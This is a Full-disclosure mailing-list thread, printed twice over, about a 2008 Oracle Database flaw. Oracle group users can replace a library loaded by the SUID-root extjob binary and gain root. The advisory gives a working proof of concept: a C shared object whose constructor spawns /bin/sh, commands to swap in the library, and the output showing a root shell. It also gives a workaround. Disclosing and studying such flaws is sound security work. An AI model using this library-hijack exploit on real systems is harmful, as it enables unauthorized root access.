Re: [Full-disclosure] Oracle Database Local Untrusted Library Path Vulnerability
It is reported to Oracle since 2004 by open3s and affects others libs. The
workaround is very simple but it is under investigation / being fixed in
main codeline. Scheduled for future cpu
regards
juan manuel pascual
On Sat, 19 Jul 2008, Joxean Koret wrote:
Oracle Database Local Untrusted Library Path Vulnerability
--
The Oracle July 2008 Critical Patch Update fixes a vulnerability which
allows a user in the OINSTALL/DBA group to scalate privileges to root.
Scalating Privileges from oracle to root
In Oracle 10g R2 and later (Oracle11g is also vulnerable) the affected
binary, $ORACLE_HOME/bin/extjob, is SUID root and must be suid root. In
the following forum from Oracle you will found a note at the bottom of
the page:
(...)
In 10.2.0.2 and higher
rdbms/admin/externaljob.ora file must must be owned by root:oraclegroup
and
be writable only by the owner i.e. 644 (rw-r--r--)
bin/extjob file must be also owned by root:oraclegroup but must be
setuid i.e. 4750 (-rwsr-x---)
bin/extjobo should have normal 755 (rwxr-xr-x) permissions and be owned
by
oracle:oraclegroup
In 11g and higher
Same as 10.2.0.2 but additionally bin/jssu should exist with root
setuid
permissions i.e. owned by root:oraclegroup with 4750 (-rwsr-x---)
(...)
The oraclegroup is commonly dba or oinstall. Regardless of the
group's name, if a user can execute OS commands from the database (after
an attacker gains DBA privileges by abusing from an sql injection
vulnerability, in example) the user is allowed to execute, modify,
delete or create new files under the ORACLE_HOME directory.
The following are the linked libraries of the extjob binary:
$ ldd $ORACLE_HOME/bin/extjob
linux-gate.so.1 = (0xe000)
libclntsh.so.10.1
= /home/joxean/oracle10g/product/10.2.0/db_2/lib/libclntsh.so.10.1
(0xb669d000)
libdl.so.2 = /lib/tls/i686/cmov/libdl.so.2 (0xb6681000)
libm.so.6 = /lib/tls/i686/cmov/libm.so.6 (0xb665f000)
libpthread.so.0 = /lib/tls/i686/cmov/libpthread.so.0
(0xb664d000)
libnsl.so.1 = /lib/tls/i686/cmov/libnsl.so.1 (0xb6638000)
libc.so.6 = /lib/tls/i686/cmov/libc.so.6 (0xb6509000)
libnnz10.so
= /home/joxean/oracle10g/product/10.1.0/db_2/lib/libnnz10.so
(0xb635f000)
libaio.so.1 = /usr/lib/libaio.so.1 (0xb635c000)
/lib/ld-linux.so.2 (0xb7f95000)
As you can see, 2 Oracle libraries are linked to the extjob binary. A
user in the oracle group can't change the binary extjob because it's
owned by root but can change linked libraries to execute arbitrary code
under the privileges of root. The following is an example of what can
be done:
-- Example with libclntsh.so
$ cat test.c
#include stdio.h
#include stdlib.h
#include unistd.h
void __attribute__ ((constructor)) my_init(void)
{
printf([+] It works! Root shell...\n);
system(/bin/sh);
}
$ cc test.c -fPIC -o test.so -shared
$
mv /home/joxean/oracle10g/product/10.2.0/db_2/lib/libclntsh.so.10.2
/home/joxean/oracle10g/product/10.2.0/db_2/lib/.libclntsh.so.10.2
$ mv
test.so /home/joxean/oracle10g/product/10.2.0/db_2/lib/libclntsh.so.10.2
$ $ORACLE_HOME/bin/extjob
[+] It works! Root shell...
sh-3.1#
Notes
-
Despite the privileges needed, the vulnerability can be used in a
multi-stage attack to gain root privileges.
Workaround
--
Remove the SUID root bit from the extjob binary.
Disclaimer
--
The information in this advisory and any of its demonstrations is
provided as is without any warranty of any kind.
I am not liable for any direct or indirect damages caused as a result of
using the information or demonstrations provided in any part of this
advisory.
Contact
---
Joxean Koret - joxeankoret[at]yahoo[dot]es
References
--
http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujul2008.html
http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=727
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2008-2613
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Oracle Database Local Untrusted Library Path Vulnerability
Oracle Database Local Untrusted Library Path Vulnerability
--
The Oracle July 2008 Critical Patch Update fixes a vulnerability which
allows a user in the OINSTALL/DBA group to scalate privileges to root.
Scalating Privileges from oracle to root
In Oracle 10g R2 and later (Oracle11g is also vulnerable) the affected
binary, $ORACLE_HOME/bin/extjob, is SUID root and must be suid root. In
the following forum from Oracle you will found a note at the bottom of
the page:
(...)
In 10.2.0.2 and higher
rdbms/admin/externaljob.ora file must must be owned by root:oraclegroup
and
be writable only by the owner i.e. 644 (rw-r--r--)
bin/extjob file must be also owned by root:oraclegroup but must be
setuid i.e. 4750 (-rwsr-x---)
bin/extjobo should have normal 755 (rwxr-xr-x) permissions and be owned
by
oracle:oraclegroup
In 11g and higher
Same as 10.2.0.2 but additionally bin/jssu should exist with root
setuid
permissions i.e. owned by root:oraclegroup with 4750 (-rwsr-x---)
(...)
The oraclegroup is commonly dba or oinstall. Regardless of the
group's name, if a user can execute OS commands from the database (after
an attacker gains DBA privileges by abusing from an sql injection
vulnerability, in example) the user is allowed to execute, modify,
delete or create new files under the ORACLE_HOME directory.
The following are the linked libraries of the extjob binary:
$ ldd $ORACLE_HOME/bin/extjob
linux-gate.so.1 = (0xe000)
libclntsh.so.10.1
= /home/joxean/oracle10g/product/10.2.0/db_2/lib/libclntsh.so.10.1
(0xb669d000)
libdl.so.2 = /lib/tls/i686/cmov/libdl.so.2 (0xb6681000)
libm.so.6 = /lib/tls/i686/cmov/libm.so.6 (0xb665f000)
libpthread.so.0 = /lib/tls/i686/cmov/libpthread.so.0
(0xb664d000)
libnsl.so.1 = /lib/tls/i686/cmov/libnsl.so.1 (0xb6638000)
libc.so.6 = /lib/tls/i686/cmov/libc.so.6 (0xb6509000)
libnnz10.so
= /home/joxean/oracle10g/product/10.1.0/db_2/lib/libnnz10.so
(0xb635f000)
libaio.so.1 = /usr/lib/libaio.so.1 (0xb635c000)
/lib/ld-linux.so.2 (0xb7f95000)
As you can see, 2 Oracle libraries are linked to the extjob binary. A
user in the oracle group can't change the binary extjob because it's
owned by root but can change linked libraries to execute arbitrary code
under the privileges of root. The following is an example of what can
be done:
-- Example with libclntsh.so
$ cat test.c
#include stdio.h
#include stdlib.h
#include unistd.h
void __attribute__ ((constructor)) my_init(void)
{
printf([+] It works! Root shell...\n);
system(/bin/sh);
}
$ cc test.c -fPIC -o test.so -shared
$
mv /home/joxean/oracle10g/product/10.2.0/db_2/lib/libclntsh.so.10.2
/home/joxean/oracle10g/product/10.2.0/db_2/lib/.libclntsh.so.10.2
$ mv
test.so /home/joxean/oracle10g/product/10.2.0/db_2/lib/libclntsh.so.10.2
$ $ORACLE_HOME/bin/extjob
[+] It works! Root shell...
sh-3.1#
Notes
-
Despite the privileges needed, the vulnerability can be used in a
multi-stage attack to gain root privileges.
Workaround
--
Remove the SUID root bit from the extjob binary.
Disclaimer
--
The information in this advisory and any of its demonstrations is
provided as is without any warranty of any kind.
I am not liable for any direct or indirect damages caused as a result of
using the information or demonstrations provided in any part of this
advisory.
Contact
---
Joxean Koret - joxeankoret[at]yahoo[dot]es
References
--
http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujul2008.html
http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=727
http://nvd.nist.gov/nvd.cfm?cvename=CVE-2008-2613
signature.asc
Description: This is a digitally signed message part
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
